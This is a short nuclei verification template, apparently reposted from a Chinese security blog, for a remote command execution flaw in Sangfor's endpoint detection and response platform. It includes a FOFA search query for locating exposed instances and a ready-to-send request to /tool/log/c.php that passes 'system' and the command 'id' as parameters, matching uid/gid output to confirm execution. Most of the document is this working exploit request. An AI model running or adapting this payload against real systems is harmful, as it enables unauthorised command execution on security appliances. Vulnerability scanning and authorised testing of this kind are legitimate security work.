nuclei验证脚本：
id: SXF_Log_RCE
info:
name: SXF_Log_RCE
author: H0m3ly
severity: critical
tags: 深信服edr命令执行
description: FOFA语法： title="终端检测响应平台"
requests:
- raw:
- |+
GET //tool/log/c.php?strip_slashes=system&host=id HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
# 设置不自动跳转
host-redirects: false
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Log Helper'
- 'gid'
- 'uid'
- 'groups'
condition: and
- type: status
status:
- 200
condition: and
标签：Log,信服,edr,命令,RCE,id,condition From： https://www.cnblogs.com/1zzZ/p/17751262.html